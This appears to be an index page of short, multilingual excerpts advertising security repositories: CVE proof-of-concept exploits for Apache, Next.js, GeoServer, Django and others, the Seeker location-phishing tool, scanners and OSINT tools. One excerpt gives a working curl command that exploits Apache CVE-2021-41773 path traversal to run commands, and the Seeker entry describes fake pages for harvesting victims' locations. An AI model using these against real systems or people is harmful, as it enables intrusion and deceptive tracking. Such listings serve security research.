aimp

AIMP — بروتوكول الشبكة العنقودية للذكاء الاصطناعي بروتوكول شبكي تجريبي بدون خادم لمزامنة الحالة المرنة بين الوكلاء المستقلين في الشبكات المجزأة ومنخفضة النطاق الترددي. مبني على Merkle-CRDTs والهوية المشفرة — بدون سلطة مركزية، بدون DNS عالمي، قابل للكتابة دائمًا. الأوراق العلمية | الإصدار| العنوان...

cve-2021-41773

cve-2021-41773 تشغيل الخادم $ docker build -t cve-2021-41773 . $ docker run --rm -d -p 80:80 cve-2021-41773 الاستغلال curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' السبب خطأ في إعدادات ملف httpd.conf مع Path traversal يؤدي إلى RCE...

nexts-cve-2025-66478-exploit

Ceci est un projet Next.js créé avec create-next-app. Pour commencer Tout d'abord, lancez le serveur de développement : root@kitploit: npm run dev or yarn dev or pnpm dev or bun dev Ouvrez http://localhost:3000 dans votre navigateur pour voir le résultat. Vous pouvez commencer à modifier la page ...

seeker

Available in Concept behind Seeker is simple, just like we host phishing pages to get credentials why not host a fake page that requests your location like many popular location based websites. Read more on thewhiteh4t's Blog .Seeker Hosts a fake website which asks for Location Permission and if...

seeker

متوفر في المفهوم وراء Seeker بسيط، تمامًا كما نستضيف صفحات تصيد للحصول على بيانات الاعتماد، لماذا لا نستضيف صفحة مزيفة تطلب موقعك مثل العديد من مواقع الويب الشهيرة القائمة على الموقع. اقرأ المزيد على مدونة thewhiteh4t .يستضيف Seeker موقعًا وهميًا يطلب الإذن بالموقع، وإذا سمح الهدف بذلك، يمكننا...

CVE-2026-44578

CVE-2026-44578 — ثغرة SSRF في ترقية WebSocket في Next.js ثغرة تزوير الطلبات من جانب الخادم SSRF قبل المصادقة في عمليات نشر Next.js المستضافة ذاتيًا. طلب HTTP واحد مصمَّم بعناية يستخرج بيانات اعتماد AWS والأسرار وبيانات الخدمات الداخلية من localhost:80...

CVE-batdappboomx

Identifiant CVE CVE-2022-27134 PRODUIT batdappboomx est un contrat intelligent public fonctionnant sur la blockchain EOSIO. Ce contrat intelligent récompense ses participants en cryptomonnaie s'ils paient d'abord une certaine quantité de cryptomonnaie. Version La dernière version de ce contrat...

CVE-2020-5245

CVE-2020-5245 1. Exécutez mvn clean install pour construire votre application 2. Démarrez l'application avec java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml 3. Pour vérifier que votre application est en cours d'exécution, saisissez l'URL http://localhost:8080 Certaines erreurs dans...

CVE-2026-48172

📚 Dépôt de recherche en sécurité éducative Un dépôt pour apprendre, tester et rechercher des concepts de cybersécurité dans des environnements contrôlés. ⚡ Utilisation simple Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que : Machines virtuelles locales Conteneurs...

recog

Recog : un framework de reconnaissance Recog est un framework pour identifier les produits, services, systèmes d'exploitation et matériels en faisant correspondre des empreintes digitales avec les données renvoyées par diverses sondes réseau. Recog simplifie l'extraction d'informations utiles à...

Package-Inferno

PackageInferno بسيط بشكل مذهل، ماسح سلسلة توريد npm يعتمد على Docker أولاً. ملف compose واحد يشغّل: Enumerator → يبني قائمة انتظار الحزم Fetcher → ينزّل الحزم المضغوطة ويرفعها اختياريًا إلى S3 Analyzer → تحليل ثابت + YARA اختياري Postgres → قاعدة بيانات محلية للنتائج لوحة Streamlit → تصور النتائج...

osint-menace

OSINT Menace وحدة تحكم استطلاع مفتوحة المصدر مُصمم للصيادين، وليس للمتصفحات. OSINT Menace هو مشروع من مشاريع التفكير الدفاعي. OSINT Menace هو تطبيق ويب بلغة بايثون مُحوسب Dockerized لفرز المعلومات مفتوحة المصدر بطريقة سلبية وقائمة على الحالات. يمنح المحللين واجهة بسيطة بطابع إلكتروني cyberpunk...

CVE-2026-4112

SonicWall SMA 8200v : Élévation de privilèges via injection SQL aveugle inter-paramètres Firmware : 12.5.0-02283 correctif de plateforme sur base 12.5.0-02002 Avis SonicWall 1. Résumé Une vulnérabilité d'injection SQL aveugle post-authentification dans la console de gestion SonicWall SMA 8200v...

cve-2025-58360

GeoServer: CVE-2025-58360 면책 조항 이 저장소에 포함된 코드와 정보는 교육 및 연구 목적으로만 제공됩니다. 저장소 소유자는 이 저장소의 코드 및/또는 정보를 사용하여 수행하는 모든 행위에 대해 책임을 지지 않습니다. 귀하의 행동은 귀하 자신의 책임입니다. 합법적이고 책임감 있게 사용하시기 바랍니다. Python3 클래스 exploit/exploiter.py 파일의 Python3 클래스GeoDumper는 XXE 취약점 악용을 자동화하고 유출된 정보를 로컬 파일에 저장합니다. 예시: root@kitploit:...

CVE-2026-1312

CVE-2026-1312 هو ثغرة أمنية عالية الخطورة من نوع حقن SQL في Django: عند استخدام أسماء أعمدة مستعارة تحتوي على نقاط في QuerySet.orderby، مع استخدام FilteredRelation لبناء الاستعلام ديناميكيًا عبر توسيع قاموس، قد يتمكن المهاجم من حقن SQL خبيث الإصدارات المتأثرة: إصدارات فرع Django 6.0 قبل 6.0.2...

conduit

Conduit 面向AI编码代理的本地控制平面。 按工程师计费 · 硬预算 · 出站治理 · 上下文膨胀可观测性 · 审计就绪导出 —— 全部位于您的VPC内。 Conduit 位于您的 AI 编码代理（Claude Code、Cursor、Codex、Aider）与您已使用的任何提供商（Anthropic、OpenAI、Bedrock、Azure —— 或您现有的 LiteLLM / Portkey 部署）之间。只需一个环境变量即可接入，客户端无需更改，提示和补全内容永不存储。 root@kitploit: Claude Code / Cursor / Codex │...

poc-cve-2024-0132

poc-cve-2024-0132 Reproduktionsumgebung: Betriebssystem: Ubuntu 22.04 mit Nvidia-Treiber docker: v27.1.0 nvidia-container-toolkit: v1.16.1 Reproduktionsschritt: Das PoC-Container-Image ausführen Ziel: Auf Host-Dateien im Container zugreifen Docker-Daemon-APIs über docker.sock im Container aufrufe...

poc-cve-2025-29927

Contournement du middleware Next.js CVE-2025-29927 Preuve de concept Ce dépôt contient une preuve de concept POC pour CVE-2025-29927 , une vulnérabilité critique dans Next.js qui permet à des attaquants de contourner les contrôles d'autorisation implémentés dans le middleware. 📋 Table des matière...

CVE-2026-42141-xibo-ssrf

CVE-2026-42141 - SSRF XIBO CMS Vulnérabilité SSRF dans Xibo CMS CVE-2026-42141 Description Vulnérabilité de type Server-Side Request Forgery SSRF dans Xibo CMS via la fonctionnalité uploadUrl. Cette vulnérabilité a été découverte lors d'une recherche en sécurité sur Xibo CMS. Impact Un utilisateu...

svja

svja تطبيق RDPS Super Vulnerable Java Application هو بالضبط ذلك -- تطبيق جافا شديد الضعف أُنشئ لفائدة الجميع ليروا مجموعة متنوعة من الثغرات الشائعة، والتي غالباً ما تكون "معقدة". تم إنشاء هذا البرنامج كجزء من Roniel and DaRon Podcast Show https://www.youtube.com/channel/UCbj1JFcSJeTuf3qf9GPRemA ح...